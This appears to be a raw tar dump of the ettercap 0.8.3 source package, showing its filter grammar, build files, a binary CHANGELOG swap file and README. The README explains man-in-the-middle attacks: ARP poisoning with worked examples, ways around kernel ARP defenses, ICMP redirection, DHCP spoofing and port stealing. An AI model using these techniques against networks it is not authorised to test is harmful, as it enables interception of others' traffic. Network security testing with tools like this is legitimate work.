TOKEN_ELSE /* } else { */ %token TOKEN_OP_AND /* && */ %token TOKEN_OP_OR /* || */ %token TOKEN_OP_ASSIGN /* = */ %token TOKEN_OP_INC /* += */ %token TOKEN_OP_DEC /* -= */ %token TOKEN_OP_CMP_NEQ /* != */ %token TOKEN_OP_CMP_EQ /* == */ %token TOKEN_OP_CMP_LT /* < */ %token TOKEN_OP_CMP_GT /* > */ %token TOKEN_OP_CMP_LEQ /* <= */ %token TOKEN_OP_CMP_GEQ /* >= */ %token TOKEN_OP_END /* ; */ %token TOKEN_PAR_OPEN /* ( */ %token TOKEN_PAR_CLOSE /* ) */ %token TOKEN_BLK_BEGIN /* { */ %token TOKEN_BLK_END /* } */ %token TOKEN_UNKNOWN /* non terminals */ %type instruction %type condition %type offset %type math_expr %type block %type single_instruction %type if_statement %type if_else_statement %type conditions_block /* precedences */ %left TOKEN_OP_SUB TOKEN_OP_ADD %left TOKEN_OP_MUL TOKEN_OP_DIV %left TOKEN_UMINUS /* unary minus */ %left TOKET_OP_AND %left TOKET_OP_OR %left TOKET_OP_NOT %% /* * ========================================== * GRAMMAR Definitions * ========================================== */ /* general line, can be empty or not */ input: /* empty line */ | input block { /* * at this point the meta-tree is completed, * we only have to link it to the entry point */ compiler_set_root($2); } ; block: /* empty block */ { $$ = NULL; } | single_instruction block { ef_debug(2, "\t\t block_add single\n"); $$ = compiler_add_instr($1, $2); } | if_statement block { ef_debug(2, "\t\t block_add if\n"); $$ = compiler_add_ifblk($1, $2); } | if_else_statement block { ef_debug(2, "\t\t block_add if_else\n"); $$ = compiler_add_ifblk($1, $2); } ; /* every instruction must be terminated with ; */ single_instruction: instruction TOKEN_OP_END { $$ = compiler_create_instruction(&$1); } ; /* instructions are functions or assignments */ instruction: TOKEN_FUNCTION { ef_debug(1, "."); ef_debug(3, "\tfunction\n"); /* functions are encoded by the lexycal analyzer */ } | offset TOKEN_OP_ASSIGN TOKEN_STRING { ef_debug(1, "="); ef_debug(3, "\tassignment string\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_ASSIGN; $$.op.assign.string = (u_char*)calloc($3.op.assign.slen, sizeof(char)); $$.op.assign.slen = $3.op.assign.slen; /* this is a string */ $$.op.assign.size = 0; memcpy($$.op.assign.string, $3.op.assign.string, $3.op.assign.slen); } | offset TOKEN_OP_ASSIGN math_expr { ef_debug(1, "="); ef_debug(3, "\tassignment\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_ASSIGN; $$.op.assign.value = $3.op.assign.value; } | offset TOKEN_OP_INC TOKEN_CONST { ef_debug(1, "+="); ef_debug(3, "\tincrement\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_INC; $$.op.assign.value = $3.op.assign.value; } | offset TOKEN_OP_DEC TOKEN_CONST { ef_debug(1, "-="); ef_debug(3, "\tdecrement\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_DEC; $$.op.assign.value = $3.op.assign.value; } ; /* the if statement */ if_statement: TOKEN_IF TOKEN_PAR_OPEN conditions_block TOKEN_PAR_CLOSE TOKEN_BLK_BEGIN block TOKEN_BLK_END { ef_debug(1, "#"); ef_debug(3, "\t\t IF BLOCK\n"); $$ = compiler_create_ifblock($3, $6); } ; /* if {} else {} */ if_else_statement: TOKEN_IF TOKEN_PAR_OPEN conditions_block TOKEN_PAR_CLOSE TOKEN_BLK_BEGIN block TOKEN_BLK_END TOKEN_ELSE TOKEN_BLK_BEGIN block TOKEN_BLK_END { ef_debug(1, "@"); ef_debug(3, "\t\t IF ELSE BLOCK\n"); $$ = compiler_create_ifelseblock($3, $6, $10); } ; /* conditions used by the if statement */ conditions_block: condition { ef_debug(1, "?"); ef_debug(3, "\t\t CONDITION\n"); $$ = compiler_create_condition(&$1); } | conditions_block TOKEN_OP_AND conditions_block { ef_debug(1, "&"); ef_debug(3, "\t\t AND\n"); $$ = compiler_concat_conditions($1, COND_AND, $3); } | conditions_block TOKEN_OP_OR conditions_block { ef_debug(1, "|"); ef_debug(3, "\t\t OR\n"); $$ = compiler_concat_conditions($1, COND_OR, $3); } ; /* a single condition */ condition: offset TOKEN_OP_CMP_EQ TOKEN_STRING { ef_debug(4, "\tcondition cmp eq string\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_TEST; $$.op.test.op = FTEST_EQ; $$.op.test.string = (u_char*)calloc($3.op.assign.slen, sizeof(char)); $$.op.test.slen = $3.op.assign.slen; /* this is a string */ $$.op.test.size = 0; memcpy($$.op.test.string, $3.op.test.string, $3.op.assign.slen); } | offset TOKEN_OP_CMP_NEQ TOKEN_STRING { ef_debug(4, "\tcondition cmp not eq string\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_TEST; $$.op.test.op = FTEST_NEQ; $$.op.test.string = (u_char*)calloc($3.op.assign.slen, sizeof(char)); $$.op.test.slen = $3.op.assign.slen; /* this is a string */ $$.op.test.size = 0; memcpy($$.op.test.string, $3.op.test.string, $3.op.assign.slen); } | offset TOKEN_OP_CMP_EQ TOKEN_CONST { ef_debug(4, "\tcondition cmp eq\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_TEST; $$.op.test.op = FTEST_EQ; $$.op.test.value = $3.op.test.value; memcpy(&$$.op.test.ipaddr, &$3.op.test.ipaddr, sizeof($3.op.test.ipaddr)); } | offset TOKEN_OP_CMP_NEQ TOKEN_CONST { ef_debug(4, "\tcondition cmp not eq\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_TEST; $$.op.test.op = FTEST_NEQ; $$.op.test.value = $3.op.test.value; memcpy(&$$.op.test.ipaddr, &$3.op.test.ipaddr, sizeof($3.op.test.ipaddr)); } | offset TOKEN_OP_CMP_LT TOKEN_CONST { ef_debug(4, "\tcondition cmp lt\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_TEST; $$.op.test.op = FTEST_LT; $$.op.test.value = $3.op.test.value; memcpy(&$$.op.test.ipaddr, &$3.op.test.ipaddr, sizeof($3.op.test.ipaddr)); } | offset TOKEN_OP_CMP_GT TOKEN_CONST { ef_debug(4, "\tcondition cmp gt\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_TEST; $$.op.test.op = FTEST_GT; $$.op.test.value = $3.op.test.value; memcpy(&$$.op.test.ipaddr, &$3.op.test.ipaddr, sizeof($3.op.test.ipaddr)); } | offset TOKEN_OP_CMP_LEQ TOKEN_CONST { ef_debug(4, "\tcondition cmp leq\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_TEST; $$.op.test.op = FTEST_LEQ; $$.op.test.value = $3.op.test.value; memcpy(&$$.op.test.ipaddr, &$3.op.test.ipaddr, sizeof($3.op.test.ipaddr)); } | offset TOKEN_OP_CMP_GEQ TOKEN_CONST { ef_debug(4, "\tcondition cmp geq\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.opcode = FOP_TEST; $$.op.test.op = FTEST_GEQ; $$.op.test.value = $3.op.test.value; memcpy(&$$.op.test.ipaddr, &$3.op.test.ipaddr, sizeof($3.op.test.ipaddr)); } | TOKEN_FUNCTION { ef_debug(4, "\tcondition func\n"); /* functions are encoded by the lexycal analyzer */ } ; /* offsets definitions */ offset: TOKEN_OFFSET { ef_debug(4, "\toffset\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); } | offset TOKEN_OP_ADD math_expr { ef_debug(4, "\toffset add\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); /* * we are lying here, but math_expr operates * only on values, so we can add it to offset */ $$.op.test.offset = $1.op.test.offset + $3.op.test.value; if ($$.op.test.offset % $$.op.test.size) WARNING("Unaligned offset"); } | offset TOKEN_OP_SUB math_expr { ef_debug(4, "\toffset sub\n"); memcpy(&$$, &$1, sizeof(struct filter_op)); $$.op.test.offset = $1.op.test.offset - $3.op.test.value; if ($$.op.test.offset % $$.op.test.size) WARNING("Unaligned offset"); } ; /* math expression */ math_expr: TOKEN_CONST { $$.op.test.value = $1.op.test.value; } | math_expr TOKEN_OP_ADD math_expr { $$.op.test.value = $1.op.test.value + $3.op.test.value; } | math_expr TOKEN_OP_SUB math_expr { $$.op.test.value = $1.op.test.value - $3.op.test.value; } | math_expr TOKEN_OP_MUL math_expr { $$.op.test.value = $1.op.test.value * $3.op.test.value; } | math_expr TOKEN_OP_DIV math_expr { $$.op.test.value = ($3.op.test.value == 0) ? 0 : $1.op.test.value / $3.op.test.value; } | TOKEN_OP_SUB math_expr %prec TOKEN_UMINUS { $$.op.test.value = -$2.op.test.value; } ; %% /* * ========================================== * C Code * ========================================== */ /* * name of the tokens as they should be presented to the user */ struct { char *name; char *string; } errors_array[] = { { "TOKEN_CONST", "integer or ip address" }, { "TOKEN_OFFSET", "offset" }, { "TOKEN_FUNCTION", "function" }, { "TOKEN_STRING", "string" }, { "TOKEN_IF", "'if'" }, { "TOKEN_ELSE", "'else'" }, { "TOKEN_OP_AND", "'&&'" }, { "TOKEN_OP_OR", "'||'" }, { "TOKEN_OP_ASSIGN", "'='" }, { "TOKEN_OP_INC", "'+='" }, { "TOKEN_OP_DEC", "'-='" }, { "TOKEN_OP_CMP_NEQ", "'!='" }, { "TOKEN_OP_CMP_EQ", "'=='" }, { "TOKEN_OP_CMP_LT", "'<'" }, { "TOKEN_OP_CMP_GT", "'>'" }, { "TOKEN_OP_CMP_LEQ", "'<='" }, { "TOKEN_OP_CMP_GEQ", "'>='" }, { "TOKEN_OP_END", "';'" }, { "TOKEN_OP_ADD", "'+'" }, { "TOKEN_OP_MUL", "'*'" }, { "TOKEN_OP_DIV", "'/'" }, { "TOKEN_OP_SUB", "'-'" }, { "TOKEN_PAR_OPEN", "'('" }, { "TOKEN_PAR_CLOSE", "')'" }, { "TOKEN_BLK_BEGIN", "'{'" }, { "TOKEN_BLK_END", "'}'" }, { "$end", "end of file" }, { NULL, NULL } }; /* * This function is needed by bison. so it MUST exist. * It is the error handler. */ int yyerror(const char *s) { char *error; int i = 0; /* make a copy to manipulate it */ error = strdup(s); /* subsitute the error code with frendly messages */ do { str_replace(&error, errors_array[i].name, errors_array[i].string); } while(errors_array[++i].name != NULL); /* special case for UNKNOWN */ if (strstr(error, "TOKEN_UNKNOWN")) { str_replace(&error, "TOKEN_UNKNOWN", "'TOKEN_UNKNOWN'"); str_replace(&error, "TOKEN_UNKNOWN", yylval.string); } /* print the actual error message */ SCRIPT_ERROR("%s", error); SAFE_FREE(error); /* return the error */ return 1; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/CMakeLists.txt0000644000175000017500000000275213505247365017103 0ustar koeppeakoeppea## Etterfilter set(EF_SRC etterfilter/ef_compiler.c etterfilter/ef_encode.c etterfilter/ef_main.c etterfilter/ef_output.c etterfilter/ef_parser.c etterfilter/ef_tables.c etterfilter/ef_test.c ) find_package(BISON) find_package(FLEX) bison_target(EF_PARSER etterfilter/ef_grammar.y ${CMAKE_CURRENT_BINARY_DIR}/ef_grammar.c) flex_target(EF_SCANNER etterfilter/ef_syntax.l ${CMAKE_CURRENT_BINARY_DIR}/ef_syntax.c) add_flex_bison_dependency(EF_SCANNER EF_PARSER) # For ef_grammar.h include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_executable(etterfilter ${EF_SRC} ${FLEX_EF_SCANNER_OUTPUTS} ${BISON_EF_PARSER_OUTPUTS}) target_link_libraries(etterfilter lib_ettercap) if(NOT DISABLE_RPATH) set_target_properties(etterfilter PROPERTIES INSTALL_RPATH ${INSTALL_LIBDIR}) endif() ## Etterlog set(EL_SRC etterlog/el_analyze.c etterlog/el_conn.c etterlog/el_decode.c etterlog/el_decode_http.c etterlog/el_display.c etterlog/el_log.c etterlog/el_main.c etterlog/el_parser.c etterlog/el_profiles.c etterlog/el_stream.c etterlog/el_target.c ) add_executable(etterlog ${EL_SRC}) target_link_libraries(etterlog lib_ettercap) if(NOT DISABLE_RPATH) set_target_properties(etterlog PROPERTIES INSTALL_RPATH ${INSTALL_LIBDIR}) endif() install(TARGETS etterfilter etterlog DESTINATION ${INSTALL_BINDIR}) ettercap-0.8.3/.travis.yml0000644000175000017500000001215413505247364015310 0ustar koeppeakoeppea# This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. # See YAML format https://en.wikipedia.org/wiki/YAML # See Travis CI (Continuous Integration) https://docs.travis-ci.com/ language: c branches: except: gh-pages compiler: - gcc - clang os: - osx - linux addons: apt: packages: - debhelper - bison - check - cmake - flex - groff - libbsd-dev - libcurl4-openssl-dev - libgtk2.0-dev - libltdl-dev - libluajit-5.1-dev - libncurses5-dev - libnet1-dev - libpcap-dev - libpcre3-dev - libssl-dev - libgtk-3-dev - libgeoip-dev env: # Default build. Release. - BUILD_ARGS="" # Debug build - BUILD_ARGS="-DCMAKE_BUILD_TYPE=Debug" # Everything that's optional - BUILD_ARGS="-DENABLE_PDF_DOCS=On -DENABLE_IPV6=On -DENABLE_LUA=On" # Everything that's optional, in Debug-mode - BUILD_ARGS="-DENABLE_PDF_DOCS=On -DENABLE_IPV6=On -DENABLE_LUA=On -DCMAKE_BUILD_TYPE=Debug" # Everything that's optional, GTK3 - BUILD_ARGS="-DENABLE_PDF_DOCS=On -DENABLE_IPV6=On -DENABLE_LUA=On -DGTK_BUILD_TYPE=GTK3" # Everything that's optional, GTK3 in Debug-mode - BUILD_ARGS="-DENABLE_PDF_DOCS=On -DENABLE_IPV6=On -DENABLE_LUA=On -DGTK_BUILD_TYPE=GTK3 -DCMAKE_BUILD_TYPE=Debug" # IPV6 + system libnet - BUILD_ARGS="-DENABLE_IPV6=On -DBUNDLED_LIBNET=Off" # IPV6 + bundled libnet - BUILD_ARGS="-DENABLE_IPV6=On -DSYSTEM_LIBNET=Off" # system curl, only - BUILD_ARGS="-DBUNDLED_CURL=Off" # bundled curl, only - BUILD_ARGS="-DSYSTEM_CURL=Off" # system check, only - BUILD_ARGS="-DBUNDLED_LIBCHECK=Off" # bundled check, only - BUILD_ARGS="-DSYSTEM_LIBCHECK=Off" # Lua + system luajit - BUILD_ARGS="-DENABLE_LUA=On -DBUNDLED_LUAJIT=Off" # Lua + bundled luajit - BUILD_ARGS="-DENABLE_LUA=On -DSYSTEM_LUAJIT=Off" # Disable Gtk - BUILD_ARGS="-DENABLE_GTK=Off" # Disable Curses - BUILD_ARGS="-DENABLE_CURSES=Off" # Disable Curses and Gtk - BUILD_ARGS="-DENABLE_GTK=Off -DENABLE_CURSES=Off" matrix: allow_failures: # We expect IPV6 + system libnet + ubuntu to fail :( - os: linux env: BUILD_ARGS="-DENABLE_IPV6=On -DBUNDLED_LIBNET=Off" # We expect system-only curl + ubuntu to fail :( - os: linux env: BUILD_ARGS="-DBUNDLED_CURL=Off" exclude: - os: osx env: BUILD_ARGS="" - os: osx env: BUILD_ARGS="-DCMAKE_BUILD_TYPE=Debug" - os: osx compiler: gcc env: BUILD_ARGS="-DENABLE_PDF_DOCS=On -DENABLE_IPV6=On -DENABLE_LUA=On" - os: osx compiler: gcc env: BUILD_ARGS="-DENABLE_PDF_DOCS=On -DENABLE_IPV6=On -DENABLE_LUA=On -DCMAKE_BUILD_TYPE=Debug" - os: osx compiler: gcc env: BUILD_ARGS="-DENABLE_PDF_DOCS=On -DENABLE_IPV6=On -DENABLE_LUA=On -DGTK_BUILD_TYPE=GTK3" - os: osx compiler: gcc env: BUILD_ARGS="-DENABLE_PDF_DOCS=On -DENABLE_IPV6=On -DENABLE_LUA=On -DGTK_BUILD_TYPE=GTK3 -DCMAKE_BUILD_TYPE=Debug" - os: osx env: BUILD_ARGS="-DENABLE_IPV6=On -DBUNDLED_LIBNET=Off" - os: osx env: BUILD_ARGS="-DENABLE_IPV6=On -DSYSTEM_LIBNET=Off" - os: osx env: BUILD_ARGS="-DBUNDLED_CURL=Off" - os: osx env: BUILD_ARGS="-DSYSTEM_CURL=Off" - os: osx env: BUILD_ARGS="-DBUNDLED_LIBCHECK=Off" - os: osx env: BUILD_ARGS="-DSYSTEM_LIBCHECK=Off" - os: osx env: BUILD_ARGS="-DENABLE_LUA=On -DBUNDLED_LUAJIT=Off" - os: osx env: BUILD_ARGS="-DENABLE_LUA=On -DSYSTEM_LUAJIT=Off" - os: osx env: BUILD_ARGS="-DENABLE_GTK=Off" - os: osx env: BUILD_ARGS="-DENABLE_CURSES=Off" - os: osx env: BUILD_ARGS="-DENABLE_GTK=Off -DENABLE_CURSES=Off" before_install: - if [ ${TRAVIS_OS_NAME} = "osx" ]; then brew update; brew install check curl; brew install groff gtk+ gtk+3; brew install libidn libnet; brew install luajit openssl pcre rtmpdump geoip; fi before_script: - if [ ${TRAVIS_OS_NAME} = "osx" ]; then export BUILD_ARGS="$BUILD_ARGS -DOPENSSL_ROOT_DIR=`brew --prefix openssl`";fi script: - if [[ "$CC" == "gcc" && "${BUILD_ARGS}" = "" ]]; then git clone https://github.com/richq/cmake-lint.git; cd cmake-lint; python setup.py install --user; cd -; ./misc/cmakelint.sh; fi - mkdir build - cd build - cmake -DENABLE_TESTS=On $BUILD_ARGS .. - make - make test_verbose notifications: irc: channels: - "chat.freenode.net#ettercap-project" template: - "ettercap-build #%{build_number} (%{commit} by %{author}): %{message}" - "See details at %{build_url}" email: false ettercap-0.8.3/.CHANGELOG.swp0000644000175000017500000004000013505247364015266 0ustar koeppeakoeppeab0VIM 8.0BL]Paykoeppeaboston~koeppea/dev/ettercap/CHANGELOG 3210#"! Utp WRXSae^fQ)Ozm6adBWd*; a + } Q $ w N ) M .  | T *  _'T.b;s6Z/["jJ)  !! Fixed uniqueness of our include guards !! Fixed powerpc build failure !! Fixed timers incoherences !! Fixed many dissector ports !! Fixed many ctime problems !! Fixed many iconv detection problems !! Fixed tests build failures !! Many ipv6 fixes and improvements !! Fixed lua installation path !! Many fixes in filter compiler !! Fixed dhcp spoofing automatically start in text ui !! Fixed some incoherencies in gbls pointers in utils and core !! Fix constants to allow full hexadecimal characterset. Useful for filtering on ESP SPIs !! O5LOGON dissector fixes for stealth mode scans !! Fixed etter{log,filter} library path !! Fixed scan host crash with recent kernels !! Fixed rpath handling !! Fixed hurd build failure (not specific to hurd but hurd seems the first OS defining ESUCCESS in glibc) !! Fixed DNS resolution problems !! Fixed incorrect checksum computation on 64-bit systems0.8.1-Lombroso 20141016 - Remove gprof support + Enable again PDF generation + New macosx travis-ci build! + Add TXT and ANY query support on dns_spoof + Updated etter.finger.mac - CVE-2014-9381 (Signedness error) - CVE-2014-9380 (Buffer over-read) - CVE-2014-9379 (Incorrect cast) - CVE-2014-9378 (Unchecked return value) - CVE-2014-9377 (Heap overflow) - CVE-2014-9376 (Negative index/underflow) - CVE-2014-6396 (Arbitrary write) - CVE-2014-6395 (Length Parameter Inconsistency) !! Fixed many CVE vulnerabilities (some of them already fixed in 0.8.1) !! Fixed sleep time on Windows (high CPU usage) !! Fix some ipv6 send issues !! Bug fixes and gtk code refactor (gtk box wrapper) !! Fix pcap length, and aligment problems with libpcap !! Fix incorrect sequence number after TCP injection !! Simplify macosx cmake files !! A ton of BSD bug fixes !! Various cmake fixes !! Fix ettercap.rc file (windows only) !! Fix truncated VLAN packet headers !! Improved redirect commands !! Fixed missing break in parser code !! Fixed nopromisc option usage !! Fixed drop_privs function usage !! Fixed mixed output print !! Fixed log file ownership !! Fixed some openssl deprecated functions usage0.8.2-Ferri 20150314 - Usage of deprecated inet_aton replaced with current successor functions - GTK2 phase out initialized + Updated etter.finger.mac + Multi-threaded name resolution + Rework of Oracle O5LOGON dissector + OSPF dissector supports more authentication methods in hash-cracker friendly format + GTK3 is the new default GTK_BUILD_TYPE + New Kerberos 5 downgrade plugin + Rework of GTK3 UI - modern GNOME3 look + GeoIP detection / support using CMake + SSL redirects are now customizable at runtime !! fix dns_spoof plugin when used in bridge mode !! CVE-2017-6430 (Fix invalid read on crafted file in etterfilter) !! Lots of buffer under-/overflow conditions fixed !! ip_addr sanity check when etterlog processes info logfile !! Fixed heap-buffer-overflow in write_output in etterfilter !! Proper separation of library and executable code !! Fixed lots of build warnings !! Fixed sslstrip plugin startup issue due to regex compilation error !! Non-aligned filters are no longer supported (recompilation with etterfilter required) !! Fixed packetbuffer racecond. in BRIDGE mode (e.g. Message too long) !! Fix binary comparsion and assignment in etterfilter0.8.3-Bertillon 20190701========================================= !! bug fixed - old feature removed + new featureLegend:ada\ + Characters injection in an established connection + ARP based sniffing (with arp poisoning for switched lan) + MAC based sniffing (for traffic between hosts and gateways) + IP based sniffing (old style sniffing) + Command line mode (without ncurses) + Easy to use ncurses interface * Initial public release...ettercap-0.8.3/README.OSXLION0000644000175000017500000000147113505247364015211 0ustar koeppeakoeppeaMiTM SSL issues with OS X Lion: ------------------------------- It is a known fact that IP Forwarding (port forwarding) does not work on OS X Lion by default. But there is a fix! Modify your /Library/Preferences/SystemConfiguration/com.apple.Boot.plist file and a tag set with the following: net.inet.ip.scopedroute=0 Your file (without any other special settings) should look like: ------ Kernel Flags net.inet.ip.scopedroute=0 ------- Reboot and enjoy MiTM SSL! Hit us up on Freenode (irc.freenode.net) channel #ettercap-project with any questions! Thanks, exfil ettercap-0.8.3/README0000644000175000017500000004650613505247364014067 0ustar koeppeakoeppea============================================================================== ============================================================================== @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@@ @@@ @@@@@@ @@@@@@ @@ @@@@@@@ @@@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@ @@@ @@@ @@@@@@@ @@ @@@ @@@@@@@ @@ @@ @@ A suite for man in the middle attacks Copyright 2001-2019 The Ettercap Dev Team ============================================================================== ============================================================================== Aoccdrnig to rscheearch at an Elingsh uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht the frist and lsat ltteer are in the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae we do not raed ervey lteter by it slef but the wrod as a wlohe and the biran fguiers it out aynawy. ... so please excuse us for every typo in the documentation, man pages or code, btw fixes and patches are welcome. ============================================================================== ============================================================================== R E Q U I R E D P R O G R A M S ============================================================================== C compiler flex (or other lex-compatible parser generator) for *.l files bison (or other yacc-compatible parser generator) for *.y files cmake (build tool) ============================================================================== R E Q U I R E D L I B R A R I E S ============================================================================== MANDATORY: - libpcap >= 0.8.1 - libnet >= 1.1.2.1 (>= 1.1.5 for IPv6 support) - openssl >= 0.9.7 - libpthread - zlib - libgeoip - CMake 2.8 - Curl >= 7.26.0 to build SSLStrip plugin If you don't want to enable SSLStrip plugin you have to disable it. (more information about disabling a plugin in the README.GIT file) OPTIONAL: To avoid use of our internal strlcat and strlcpy implementation: - libbsd To enable PDF documentation generation (enable via ENABLE_PDF_DOCS=On): - ghostscript (ps2pdf) - groff To enable plugins: - libltdl (part of libtool) To have perl regexp in the filters: - libpcre For the cursed GUI: - ncurses >= 5.3 For the GTK+ GUI: - Glib >= 2.2.2 - Gtk+ >= 2.2.2 (recommended >= 2.22.0) - deprecated - Gtk+3 >= 3.12.0 (recommended >= 3.22.0) - Atk >= 1.2.4 - Pango >= 1.2.3 If you are running on debian, or any debian based distro you can install the required dependencies by running: apt-get install debhelper bison check cmake flex ghostscript libbsd-dev \ libcurl4-openssl-dev libgeoip-dev libltdl-dev libluajit-5.1-dev \ libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev \ libgtk-3-dev libgtk2.0-dev ============================================================================ LICENSE ============================================================================ see LICENSE file for details... ============================================================================ AUTHORS ============================================================================ Alberto Ornaghi (ALoR) Marco Valleri (NaGA) Emilio Escobar (exfil) Eric Milam (J0hnnyBrav0) Gianfranco Costamagna (LocutusOfBorg) Alexander Koeppe (koeppea) ============================================================================ INSTALLATION ============================================================================ The easiest way to compile ettercap is in the form: mkdir build cd build cmake .. (Use ccmake . to change options such as disabling IPv6 support, add plugins support, etc). make install read INSTALL for further details... and README.PLATFORMS for any issue regarding your operating system. ============================================================================ HOW TO USE IT ============================================================================ You can choose between 3 User Interfaces: Text mode, Curses, GTK. Please read the man pages ettercap(8) and ettercap_curses(8) to learn how to use ettercap. ============================================================================ TECHNICAL PAPER ============================================================================ THE HOST LIST Sending one ARP REQUEST for each ip in the lan (looking at the current ip and netmask), it is possible to get the ARP REPLIES and then make the list of the hosts that are responding on the lan. With this method even windows hosts, reply to the call-for-reply (they don't reply on broadcast-ping). Be very careful if the netmask is a class B (255.255.0.0) because ettercap will send 255*255 = 65025 arp requests (the default delay between two requests is 1 millisecond, can be configured in etter.conf) UNIFIED SNIFFING Ettercap NG uses the unified sniffing method which is the base for all the attacks. The kernel ip forwarding is always disabled and this task is accomplished by ettercap itself. Packet that needs to be forwarded are packets with destination mac address equal to the attacker's one, but with different ip address. Those packets are re-sent back to the wire to the real destination. This way, you can plug in various mitm attacks at a time. You can even use external attacker/poisoner, they only have to redirect packets to ettercap's host and the game is over ;) BRIDGED SNIFFING Uses two network interfaces and forwards the traffic between them while performing sniffing and content filtrating. This sniffing method is very stealthy as there is no way to to detect that someone is in the middle. You can look at this as a layer one attack. Don't use it on gateways or it will transform your gateway into a bridge. HINT: You can use the content filtering engine to drop packets that should not pass. This way ettercap will work as an inline IPS ;) ARP POISONING ATTACK When you select this method, ettercap will poison the arp cache of the two hosts, identifying itself as the other host respectively (see the next section for this). Once the arp caches are poisoned, the two hosts start the connection, but their packets will be sent to us, and we will record them and, next, forward them to the right side of the connection. So the connection is transparent to the victims, not arguing that they are sniffed. The only method to discover that there is a man-in-the-middle in your connection, is to watch at the arp cache and check if there are two hosts with the same mac address! That is how we discover if there are others poisoning the arp cache in our LAN, thus being warned, that our traffic is under control! =) HOST 1 - - - - - - - - - - - - - - - - - - - -> HOST 2 (poisoned) (poisoned) | ^ | | ------------> ATTACKER HOST ------------------ ( ettercap ) Legenda: - - - -> the logic connection -------> the real one The arp protocol has an intrinsic insecurity. In order to reduce the traffic on the cable, it will insert an entry in the arp cache even if it wasn't requested. In other words, EVERY arp reply that goes on the wire will be inserted in the arp table. So, we take advantage of this "feature", sending fake arp replies to the two hosts we will sniff. In this reply we will tell that the mac address of the second host is the one hard-coded on OUR ethernet card. This host will now send packets that should go to the first host, to us, because he carries our mac address. The same process is done for the first host, in inverse manner, so we have a perfect man-in-the-middle connection between the two hosts, legally receiving their packets!! Example: HOST 1: mac: 01:01:01:01:01:01 ATTACKER HOST: ip: 192.168.0.1 mac: 03:03:03:03:03:03 ip: 192.168.0.3 HOST 2: mac: 02:02:02:02:02:02 ip: 192.168.0.2 we send arp replys to: HOST 1 telling that 192.168.0.2 is on 03:03:03:03:03:03 HOST 2 telling that 192.168.0.1 is on 03:03:03:03:03:03 now they are poisoned !! they will send their packets to us ! then if receive packets from: HOST 1 we will forward to 02:02:02:02:02:02 HOST 2 we will forward to 01:01:01:01:01:01 simple, isn't it ? *** LINUX KERNEL 2.4.x ISSUE *** In the latest release of the linux kernel we can find in : /usr/src/linux/net/ipv4/arp.c /* Unsolicited ARP is not accepted by default. It is possible, that this option should be enabled for some devices (strip is candidate) */ these kernels use a special neighbor system to prevent unsolicited arp replies (what ettercap sends to the victim). Good gracious, is ettercap unusable with that kernel ? the answer is NO ! let's view why... in the same source code we find: /* * Process entry. The idea here is we want to send a reply if it is a * request for us or if it is a request for someone else that we hold * a proxy for. We want to add an entry to our cache if it is a reply * to us or if it is a request for our address. * (The assumption for this last is that if someone is requesting our * address, they are probably intending to talk to us, so it saves time * if we cache their address. Their address is also probably not in * our cache, since ours is not in their cache.) * * Putting this another way, we only care about replies if they are to * us, in which case we add them to the cache. For requests, we care * about those for us and those for our proxies. We reply to both, * and in the case of requests for us we add the requester to the arp * cache. */ so, if the kernel receives a REQUEST it will cache the host... what does that mean ? if ettercap sends spoofed REQUESTS instead of REPLIES the kernel will cache them ? the answer is YES !! ettercap 0.6.0 and later has this new ARP REQUEST POISONING method. it will alternate request and replies on poisoning because other OS doesn't have this "feature"... *** SOLARIS ISSUE *** Solaris will not cache a reply if it isn't already in the cache. The trick is simple, before poisoning, ettercap sends a spoofed ICMP ECHO_REQUEST to the host, it has to reply on it and it will make an arp entry for the spoofed host. Then we can begin to poison as always, the entry is now in the cache... ICMP REDIRECTION This attack implements ICMP redirection. It sends a spoofed icmp redirect message to the hosts in the lan pretending to be a best route for internet. All connections to internet will be redirected to the attacker which, in turn, will forward them to the real gateway. The resulting attack is an HALF-DUPLEX mitm. Only the client is redirected, since the gateway will not accept redirect messages for a directly connected network. DHCP SPOOFING This attack implements DHCP spoofing. It pretends to be a DHCP server and try to win the race condition with the real one to force the client to accept replies from it. This way the attacker is able to manipulate the GW parameter and hijack all the outgoing traffic generated by the clients. The resulting attack is an HALF-DUPLEX mitm. PORT STEALING This technique is useful to sniff in a switched environment when ARP poisoning is not effective (for example where static mapped ARPs are used). It floods the LAN with ARP packets. The destination MAC address of each "stealing" packet is the same as the attacker's one (other NICs won't see these packets), the source MAC address will be one of the MACs of the victims. This process "steals" the switch's port of each victim. Using low delays, packets destined to "stolen" MAC addresses will be received by the attacker, winning the race condition with the real port owner. When the attacker receives packets for 